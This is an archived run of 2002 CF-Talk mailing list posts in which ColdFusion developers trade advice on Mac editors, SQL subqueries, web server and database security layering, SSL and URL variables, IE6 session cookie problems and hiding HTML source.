From: Bill Brown [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 24, 2002 9:59 AM
To: CF-Talk
Subject: RE: IDE for the Mac...?


I will heartily second the jEdit recommendation. Because it's
Java-based, it works on many platforms. I use the same IDE at work
(Windows 2k) as I do at home (TiPB). Plus, it has more source code
editing features than CF Studio or any other text editor I've seen.

I never got into BBEdit, but everyone I've ever known that uses it
absolutely swears by it.

Bill

: -Original Message-
: From: ColdFusion MX
: Sent: 9/23/02 6:00 PM
: Subject: Re: IDE for the Mac...?
:
: All depends on what you are used to --
:
: Probably the most popular (developer) editor on the Mac is BBEdit,
from Bare Bones (software
: that doesn't suck):
:
:   http://www.barebones.com/
:
: Although, JEdit has got some nice features (open source)
:
:   http://www.jedit.org
:
: Have I missed anything?
:
: HTH
:
: Dick

__
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: IDE for the Mac...?

2002-09-24 Thread Mark W. Breneman

Dick,

Think BBedit calls its snippets the code glossary. Check it out!

One thing that I really want studio to do is to have some variables in the
snippets like this:
!--- MWB %date(mm/dd/yy)% Comment: --- (snippet code)
!--- MWB 09/24/02 Comment: --- (result)

OR

Highlight or select text with your mouse, then active snippet.
Selected text:Fname
input type=text name=%selected% value=#%selected%#
input type=text name=Fname value=Fname

What would be really cool if you could store regular expression patterns in
a snippet and just click to run a find and replace.

Too bad it will never happen

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Dick Applebaum [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 24, 2002 11:16 AM
To: CF-Talk
Subject: Re: IDE for the Mac...?


On Tuesday, September 24, 2002, at 08:22 AM, Mark W. Breneman wrote:

 Take a long look at BBedit.  One of the programmers in the office uses
 it.
 WOW is all I can say.  I wish CFstudio had 1/2 of the features.  One
 that I
 find very impressive is how the Snippets work.  The snippets can have
 vars
 in them like :date/time: and :selected text:.  Oh, and a very cool
 undo
 find and replace feature.



I have been using BBEdit for years -- I don't know what you mean by
snippets -- probably my lack of knowledge -- there are a lot of
features.

One BBedit feature I really like is the ability (within BBEdit) to
execute a Perl script or a Unix shell script and see the results
displayed in BBEdit.  I use the Perl feature all the time to validate
complex regexps, before copy pasting them into CF or JavaScript.

On the other hand, JEit has some nice features, too -- Folding your
code (Collapsing indentations) so yoy can get an overview,  And the SQL
Plugin allows you to highlight some SQL syntax (in a CF template) and
execute it against an available database -- no copy/paste necessary.
The results are shown in a popup window.

BBEdit is more Mac-Like because everything where Mac users expect it to
be.

Difficult choice!

Dick


__
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Not in?

2002-09-18 Thread Mark W. Breneman

A simple way of doing this would be:

select firstname
from tableA
where recordid not in (select recordid from TableB)

You may want look into a join depending on the use.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer 
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770 

-Original Message-
From: Kris Pilles [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, September 18, 2002 11:46 AM
To: CF-Talk
Subject: Not in?


I have 2 queries one that contains the enitre recordset of the table and
1 that contains my flagged results.

What I need to do is find a way to display all of the records that
aren't part of query #2's recordset.

Please help

KP

Kris Pilles
Website Manager
Western Suffolk BOCES
507 Deer Park Rd., Building C
Phone: 631-549-4900 x 267
E-mail: [EMAIL PROTECTED]



__
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: 3 Tier Security

2002-09-18 Thread Mark W. Breneman

Yes, this is much more secure than most people.

I would start with securing the cf/webserver. A correctly secured webserver
is very hard to hack into.

Here is an idea.  If you restrict the SQL user account, that CF is
connecting to your SQL server with, to only have right to run stored
procedures, then if the CF server box is compromised the hacker can only run
stored procedures.

This may not solve all of you what if s but, it will stop a hacker from
doing a Drop table...

Anyone have thoughts on if that is a good idea / bad idea?

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Phoeun Pha [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, September 18, 2002 3:18 PM
To: CF-Talk
Subject: RE: 3 Tier Security


How about a Class 2 force field around the servers

heh...

The way u have it set up now is wy more secure than most people have it.

-Original Message-
From: Michael Ross [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, September 18, 2002 2:30 PM
To: CF-Talk
Subject: 3 Tier Security


I am hoping someone can help me out with this.  Maybe I just can't see how
it would work..but anyways we have apps that are going to be accessible
outside our firewall.  We currently have a set-up like this.

Webserver is in dmz with the  ports http/https accessible to the outside
world.  CF code is kept on this server.  Database is completely inside the
firewall.  The firewall is configured to only allow communitcation from the
webserver IP to the SQL IP over a sql port.  There are voices around here
that want to see a 3rd layer or an app server inbetween.  I can't visualize
how this would work?  I think I may just need someone to help me visualize
it.  Anyways taking into consideration that the webserver software is all
patched up and tighened down, the code has been analized to ensure that
there are no holes will adding the extra layer really do any good?

Thanks

Mike



__
Get the mailserver that powers this list at http://www.coolfusion.com
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Developer Platform suggestions was Re: Nice

2002-09-10 Thread Mark W. Breneman

I really, really hate to say this but, if you are a Mac user the closet
match for you will most likely be Windows 2000 or XP.

Unless you really like the terminal window (command line) in OSX. Then maybe
Linux may fit you.

I do realize that Linux has many GUI that are very good, but you will still
have to use the command line some time.  Most Mac users I know are terrified
of that command line thingy.

MHO

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 10, 2002 1:52 PM
To: CF-Talk
Subject: Re: Developer Platform suggestions was Re: Nice


 Which?  Windows or Linux?

If you want to keep things simple and don't want to have to fuss with
linux driver compatibilities, etc.  Then, go with Windows 2000 or XP.

 Why?

If you've never dealt with linux before, you'll thank me.  Yes, it's
gotten easier to install, but despite what Matt L. says, it doesn't mean
it's gotten easier to use overall.

 What db(s) should I put on the developer box -- I want to be able to
 develop and demonstrate entirely on a laptop (and I rule out MS-Access
 as a viable db for presentations/demonstrations)?

If you want dbs that don't cost money:
-MySQL
-PostgreSQL

Otherwise, SQL Server 2k (MDSE version is free I think) will run you a
pretty penny (and, same with oracle).  IBM DB2 Developer edition is free
as well.

 What should I expect to pay for hardware  software for a complete,
 self-contained development system?

Roughly $2-3 grand for hardware.  The packages we got recently from dell
runs about $1500-$1800, not bad for a work machine w/ 19 monitor.

Software depends.  What all are you looking to do?  I run:
-Apache (free)
-CFMX Developer edition (free)
-MySQL (free)
-datamodelling tool (casestudio.com - $325)
-Photoshop ($900+)
-Flash MX (better off getting Studio MX for that price)

Also misc. programs for sound editing, video editing, etc.  There are
plenty of free alternatives out there, but your development platform
should try to mimic the production platform as close as possible.

 Also looking for hardware brand/source recommendations;

-Dell, Alienware

--

Todd Rafferty ([EMAIL PROTECTED]) - http://www.web-rat.com/ |
Team Macromedia Volunteer for ColdFusion   |
http://www.macromedia.com/support/forums/team_macromedia/  |
http://www.flashCFM.com/   - webRat (Moderator)|
http://www.ultrashock.com/ - webRat (Back-end Moderator)   |



__
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



SSL and url vars

2002-09-09 Thread Mark W. Breneman

Are urls, specifically Url values, encrypted in a SSL request?

If, you were to click on this url would someone on your network segment,
doing packet capturing,  be able to see the url / url vars in clear text?

https://www.xyz.com/admin/login.cfm?User=bobpass=bob

Note: I do not plan on using this login method, rather just curious in the
answer.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

__
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Ping on an apple??

2002-09-06 Thread Mark W. Breneman

Download a ping tool.

http://search.atomz.com/search/?sp-a=00011e1f-sp000asp-f=iso-8859-1sp-
q=ping

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Mark A. Kruger - CFG [mailto:[EMAIL PROTECTED]]
Sent: Friday, September 06, 2002 11:44 AM
To: CF-Talk
Subject: Ping on an apple??


How do you ping on an apple (pre OSX)?


__
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: CF_Query2Excel

2002-09-05 Thread Mark W. Breneman

Been there done that and had to get a different tag in the interests of
time.

Found that all of my rows were shifted by one.  After digging deeper I found
the first column of data was blank and query2excel rather then putting a
blank value in would simply skip inserting the column.

I started editing query2excel to fix a few problems but then I found a tag
called simply excel in the tag gal. Excel fixed all of the problems I
found.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: sebastian palmigiani [mailto:[EMAIL PROTECTED]]
Sent: Thursday, September 05, 2002 12:27 PM
To: CF-Talk
Subject: CF_Query2Excel


I want to ouput a query to an excel file and am using the custom tag
cf_query2excel.

When the Excel file is generated the excel headings are not in the same
sequence as in the query. For example, the query has in this order
'SponsorName, SponsorID, FirstName, LastName.' But in the Excel file it
shows up in the following sequence 'FirstName, LastName, etc.'

Any suggestions on how to make the headings appear in the same sequence as
the query?

thanks
Sebastian


__
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Session problem

2002-09-04 Thread Mark W. Breneman

In the past week I have seen two different session issues discussed here.

Does anyone know of a site that has session related problems documented and
hopefully answered?

Andre, good idea. This should also defeat any page caching a proxy server or
the like would try.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Andre Turrettini [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 03, 2002 4:30 PM
To: CF-Talk
Subject: RE: Session problem


I think you can avoid the proxy server issues by adding a random url var.
Then it thinks it's a different page.  Maybe like
index.cfm?r=#getTickCount()# or such.  DRE

-Original Message-
From: Everett, Al [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, September 03, 2002 3:18 PM
To: CF-Talk
Subject: RE: Session problem


Seen plenty of things like that caused by the user's proxy server. Novell's
old proxy server (the name escapes me at the moment) was notorious for that.

Also seen it in cases where the user had ghosted one machine to the other.
They ended up sharing temporary internet files and, thus, cookies. Clearing
the temporary internet files or at least the CFID and CFTOKEN cookies for
the domain fixed the problem.

 -Original Message-
 From: Robertson-Ravo, Neil (REC)
 [mailto:[EMAIL PROTECTED]]
 Sent: Tuesday, September 03, 2002 4:56 PM
 To: CF-Talk
 Subject: Session problem


 Anyone had problems with session variables being the same for
 two different
 users who have logged in with different ID's?

 basically the situation is this :

 user A logs on and then user B logs on  they have the
 same IP to the
 server and when B logs on he gets A's details...

 locking is applied througoute etc...

 wierd.

 N



__
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: CF-related software wish list

2002-09-04 Thread Mark W. Breneman

Gotta love managers.
What we need is a specific list of unknown software that we will need to
solve unexpected problems we encounter

All joking aside, that is a fairly wide net to cast. But, here is what I use
daily on  my computer or server.

CF studio
DWMX
Fireworks MX
IMS Mail
MS Office
SQL Server
ewebedit Pro
Webtrends
TopStyle Pro 3
Ultra Edit (for the stuff CF studio won't do)
Winamp :-)
PC Anywhere
IP switch FTP client

-Original Message-
From: Cornillon, Matthieu [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, September 04, 2002 11:22 AM
To: CF-Talk
Subject: OT: CF-related software wish list


Hi, everyone.  My manager has asked me to put together a list of potential
software purchases for the next year.  I am a rather new ColdFusion
developer, so I don't really know much in terms of CF-related software.  So
far, I have only come up with Visual SourceSafe and some sort of HTMLEditing
CF tag.  Are there other pieces of software that I should evaluate?
Anything that you all find indispensable, that aids in coding, etc.?

Thanks,
Matthieu

__
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Hiding Source Code

2002-09-04 Thread Mark W. Breneman

Ah, hide html?  I don't expect there is a way of doing that.  The browser
needs the html code to render the visible page.  No HTML no webpage.

I did run a cross a guy a few years back that was overly afraid that his
html code would be stolen and reused on other sites. So he found a html tool
that would remove all extra spaces and all line brakes.  The html code would
be turned into 1 really long line of code.  I found that almost any program
like dream weaver or CF studio would fix his code so I could read it easily.

Any reason you are looking to hide your HTML?

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Paul [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, September 04, 2002 1:33 PM
To: CF-Talk
Subject: RE: Hiding Source Code


I apologize my question should of been more clear. I realize that the CF
code is hidden, but I was hoping coldfusion could somehow block out the HTML
code as well?

-Paul

Paul writes:

From what I have read, their is no real effective way to hide source code
in HTML, is their a way to hide source code with .cfm pages?

 Thanks for any replies

CF source code is executed on the server, and 'converted' into HTML before
being sent to the client. So CF code (any server side code, such as ASP,
PHP, JSP, etc) is effectively hidden.
 -Paul




__
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Hiding Source Code

2002-09-04 Thread Mark W. Breneman

Smerk. :-) encrypts html... well  I guess you could call it that.

It just converts ASCII and nonalphanumeric characters using a percent sign
followed by the two character hexadecimal representation of the character
code.  Just like URLEncodedFormat() does in CF.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Turetsky, Seth [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, September 04, 2002 1:34 PM
To: CF-Talk
Subject: RE: Hiding Source Code


Never used it anywhere, but this encrypts your source code, yet the browser
can still open it.
http://www.iwebtoolkit.com/tools/html-encrypt/
i'm sure there's a way to decrypt it back though

Seth Turetsky
Interactive Media Technology
Credit Suisse First Boston

-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, September 04, 2002 2:33 PM
To: CF-Talk
Subject: RE: Hiding Source Code


Ah, hide html?  I don't expect there is a way of doing that.  The browser
needs the html code to render the visible page.  No HTML no webpage.

I did run a cross a guy a few years back that was overly afraid that his
html code would be stolen and reused on other sites. So he found a html tool
that would remove all extra spaces and all line brakes.  The html code would
be turned into 1 really long line of code.  I found that almost any program
like dream weaver or CF studio would fix his code so I could read it easily.

Any reason you are looking to hide your HTML?

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Paul [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, September 04, 2002 1:33 PM
To: CF-Talk
Subject: RE: Hiding Source Code


I apologize my question should of been more clear. I realize that the CF
code is hidden, but I was hoping coldfusion could somehow block out the HTML
code as well?

-Paul

Paul writes:

From what I have read, their is no real effective way to hide source code
in HTML, is their a way to hide source code with .cfm pages?

 Thanks for any replies

CF source code is executed on the server, and 'converted' into HTML before
being sent to the client. So CF code (any server side code, such as ASP,
PHP, JSP, etc) is effectively hidden.
 -Paul






__
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Hiding Source Code

2002-09-04 Thread Mark W. Breneman

One last thought,

If these are url vars you are trying to hide, try the UDF (see cflib.org)
that encrypts the url vars.

Example:
http://www.itminder.com/s_register01.cfm?1D047454485D4E3341591B5A2F533F761B7
634542065

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Paul [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, September 04, 2002 2:25 PM
To: CF-Talk
Subject: RE: Hiding Source Code


Thanks Charlie setting the variables I want to remain hidden as Sessions,
rather then passing them as URL variables would be a better approach.
As for the hiding HTML Code I was curious to know if it could be done.
Thanks for all the ideas.

-Paul

Paul writes:

 The main reason I am trying to hide the code is that through some pages I
have variable's values being past and for whatever reason the variable's
value seems to be displaying in the source code, that is what I am trying to
hide, the variable's value. I'm not sure why the variable's value would show
up in the source code in the 1st place? Possibly I should simply take
another approach as to how I am passing the variables?

 Thanks for your input


Another approach is what you need.  How are you passing them now?  hidden
form fields?  sounds like you need to set some session or client vars.

charlie




__
Get the mailserver that powers this list at http://www.coolfusion.com
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: (Admin) OT Threads

2002-08-30 Thread Mark W. Breneman

Sorry, when I sad move I meant redirect future replies to the
CF-Community.

What would also be nice is notification of a message being moved to another
list.  That *may* cut down on the resend messages.?

Just throwing out ideas here.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Jochem van Dieten [mailto:[EMAIL PROTECTED]]
Sent: Friday, August 30, 2002 5:33 AM
To: CF-Talk
Subject: Re: (Admin) OT Threads


Mark W. Breneman wrote:

First off, thanks for all of the time and work you put into this list.

Second, what about a vote OT link at the bottom of each message? After
about 20 or so votes a message would moved to CF-Community?   Sort of a way
that we can help you manage this list.

That would only clean up the archives. I don't think the problem lies in
the amount of off topic messages in the archives.

And if you mean that every response would be redirected to cf-community
I would be very much against it. Email is send to cf-talk, does not
arrive at cf-talk and is therefore resend. And resend. And resend.
And in the mean time the subscribers of cf-community are stuck with
duplicate emails of people that keep retrying because they don't know
that messages are redirected.

Jochem


__
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Big problem- session vars not saved in IE6 on CF5

2002-08-29 Thread Mark W. Breneman

Ok, so why does this only effect some people.

I have 20ish sites that use sessions on my server and they have no problems
that I have had reported to me.  But, a client's server seems to have this
problem.

MB


-Original Message-
From: Benjamin S. Rogers [mailto:[EMAIL PROTECTED]]
Sent: Thursday, August 29, 2002 10:22 AM
To: CF-Talk
Subject: RE: Big problem- session vars not saved in IE6 on CF5


As I noted, we did try adding a P3P policy, created using the IBM P3P
Policy Editor. However, that did not fix the problem. We even tried
setting the privacy settings to their most lax state. That did not fix
the problem either. The only workaround to this bug that we've found is
to add the site to the listed of allowed sites, which seems to bypass
the whole privacy engine.

Benjamin S. Rogers
http://www.c4.net/
v.508.240.0051
f.508.240.0057

-Original Message-
From: Smith, Matthew P -CONT(DYN) [mailto:[EMAIL PROTECTED]]

Sent: Thursday, August 29, 2002 11:05 AM
To: CF-Talk
Subject: RE: Big problem- session vars not saved in IE6 on CF5


This has come up a few times in discussion.

I think we really need a good solution for the p3p policy and cold
fusion,
as I feel this is the root of the problem.  P3p enforcement might be
adopted
by other(all) browers down the line, so it would probably be a good idea
to
get it solved now.

I wonder if we could come up with a generic p3p policy document that
people
could incorporate into their site to allow the cookies we need for our
CF
apps?

Funny thing is, asp.net apps have absolutely no problem placing their
cookies.  Who woulda guessed?

Here's a good thread about the issue:
http://webforums.macromedia.com/coldfusion/messageview.cfm?catid=3threa
did=
230279highlight_key=ykeyword1=cookieskeyword2=p3p

Anyone know of a good tutorial to get p3p implemented?  I really don't
want
to know the ins and outs, just get around the default ie6 settings...  I
guess that was what I was alluding to above.

Matthew P. Smith
Web Developer, Object Oriented
Naval Education  Training Professional
Development  Technology Center
(NETPDTC)
(850)452-1001 ext. 1245
[EMAIL PROTECTED]


-Original Message-
From: Benjamin S. Rogers [mailto:[EMAIL PROTECTED]]
Sent: Thursday, August 29, 2002 9:44 AM
To: CF-Talk
Subject: RE: Big problem- session vars not saved in IE6 on CF5

There seems to be a bug the Internet Explorer 6 privacy settings.
Despite significantly lax restrictions, we have had a lot of problems
with IE 6 users and sites that use cookies to track sessions.

In troubleshooting the issue, we've attempted to add P3P privacy
policies to our sites. We have tried altering the domain attribute on
the cookies. We tried just about everything we could think of.

The only workaround that we've found is to have the client add the
site
to their list of allowed sites (In the Web Sites section of the
Privacy tab). This fixes the problem in every instance we've
encountered.

This is reasonably good work around for Intranet/Extranet sites.
Obviously, however, it is not so good for public Internet sites. So
far,
we've left these sites broken and simply pointed our fingers at
Microsoft. So, if someone has a true fix, please share it.

Benjamin S. Rogers
http://www.c4.net/
v.508.240.0051
f.508.240.0057

-Original Message-
From: John Beynon [mailto:[EMAIL PROTECTED]]
Sent: Thursday, August 29, 2002 5:32 AM
To: CF-Talk
Subject: RE: Big problem- session vars not saved in IE6 on CF5


And you know what - I'm debugging an app that used to work but doesn't
anymore since the other day!

Darn M$

Jb.

-Original Message-
From: Sandy Clark [mailto:[EMAIL PROTECTED]]
Sent: 29 August 2002 02:23
To: CF-Talk
Subject: RE: Big problem- session vars not saved in IE6 on CF5


I had the exact same problem this week when I upgraded my ie6 with the
newest M$ patches.

I have a form, which sends a login page to a script.  Because the
login
page
uses a submit button, the cookies for CFID and CFTOKEN would normally
be
set
there.  After processing, the login script cflocations the person to a
new
page.

The funny thing is that I am not using CFLocation, but the Fusebox
CF_Location tag which was not cookie problematic.

The app works fine on Opera, Netscape 4.x and 6.2 as well as on IE 
6.

The application was definitely losing cookies,  I cfdumped all session
variables and http_cookie changed each time.  My ultimate solution was
to
pass (during the first CF_Location only), the CFID and CFTOKEN on the
URL.
After that I don't pass them and the application works fine.  I
checked
all
my settings in IE 6 and they were all accepting cookies. Very weird.

Any other better solutions (or even better rational explanations for
the
problem) would be much appreciated.

Sandy Clark

-Original Message-
From: Kym Kovan [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, August 28, 2002 8:14 PM
To: CF-Talk
Subject: Re: Big problem- session vars not saved in IE6 on CF5


Hi Don,

I am having a big problem with 

RE: (Admin) OT Threads

2002-08-29 Thread Mark W. Breneman

Michael,

First off, thanks for all of the time and work you put into this list.

Second, what about a vote OT link at the bottom of each message? After
about 20 or so votes a message would moved to CF-Community?   Sort of a way
that we can help you manage this list.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Michael Dinowitz [mailto:[EMAIL PROTECTED]]
Sent: Thursday, August 29, 2002 1:42 PM
To: CF-Talk
Subject: (Admin) OT Threads


Due to a family medical emergency, I'm not available to be here to ask that
OT threads get moved to the CF-Community list. When I do get a second, I
will be instituting a new piece of code that will identify a specific thread
on a specific list as being off topic and have it automatically moved to
another, more appropriate list. For those not subscribed to the list in
question, you can always read the thread in the archives.
This will help keep the CF-Talk list focused on technical topics.
Other lists:
CF-Community - totally off topic talk on any subject from politics to
business to religion. High rate of emails.
CF-Jobs-Talk - non-technical talk about job issues. A topic on how Oracle is
needed, how and in what was discussed last week and was very interesting for
all.
If there is a need to build a list that is somewhere between the silliness
of CF-Community and the technical talk of CF-Talk, I'll do so.

Michael Dinowitz
Master of the House of Fusion
http://www.houseoffusion.com


__
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Big problem- session vars not saved in IE6 on CF5

2002-08-28 Thread Mark W. Breneman

I too have seen this on one of our client's server, that I do not manage.
Where I first found it was a job app that used different includes for
different jobs.  When the data was inserted into the database about 15%-20%
of the records would not have a value from the session. Thus you could not
tell what job they were applying for. I never did track down the exact
problem I fix it by passing the job ID in the url line.

Are cookies  enabled? Check to see if IE is set to default security
settings. Under some of the higher settings cookies are disabled and since
sessions are tracked via the CFID and CFTOKEN cookies session vars will
not work.

You can turn on Debugging Options - Show Variables on the server and check
to see if the CFID and CFTOKEN cookies are being written.  That will show up
in the browser under the CGI Variables: HTTP_COOKIE

If you find the problem please let me know.  So far this has not been a
problem for my servers.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Smith, Don , , WHS/PSD [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, August 28, 2002 10:51 AM
To: CF-Talk
Subject: Big problem- session vars not saved in IE6 on CF5


I am having a big problem with an old standard login system.  This is the
most simple login system I know and have used it for years.

It consists of:
Login form page
Login action page
Main page
Session variables tracking who is logged in

The user enters in their login acct, the action page compares it against the
db, then sets some session variables and uses cflocation to forward them to
a new page or back to the login page if they fail.  The application page
checks for the session variable to see if they're logged in and uses
cflocation to send them back to the login page if the var doesn't exist.

Up until August 19 it worked fine on all browsers.

After then, it works fine on about 75% of the instances of IE6 in our
enterprise.

It fails on about 1 out of 4 IE installations including my own!

What happens is the user logs in, the database accepts the login and uses
cflocation to send them to the main page.  Then Application.cfm checks to
see if they have the correct session variable and uses cflocation to forward
them to the login page.  I can display the session vars at the bottom of the
login action page during testing, but as soon as I turn cflocation back on,
the session variables do not exist on the main page after the action page.
They disappear.  Yes they exist on most instances of IE and they exist in
every single instance of NS that I tested.

I have a working version of IE 6 that can login with no problem- I have
modified my internet options (ESPECIALLY the cookies/privacy options) to
match that machine exactly, but still the problems persist on my machine.

The only thing that I did that could have affected this on August 19 was
that I remember that morning getting a request to log into MS Passport to
access my hotmail account.  Other than that, I changed none of this code.

Since 25% of our users seem to be affected by this problem, it's a big deal
for us.

I have asked EVERYONE about this and no one has seen this one before.  Have
any of you heard about this before or does anyone have any suggestions of
how to go about debugging this?

Thanks,

Don Smith

__
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Web Hosting services for ColdFusion

2002-08-28 Thread Mark W. Breneman

If you can get past the name... http://www.cheapesthosting.com/
is cheap and seems to be fairly stable.  I only host low traffic stuff with
them that I do out side of work.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770



-Original Message-
From: siva girumala [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, August 28, 2002 9:12 AM
To: CF-Talk
Subject: Web Hosting services for ColdFusion


Hi

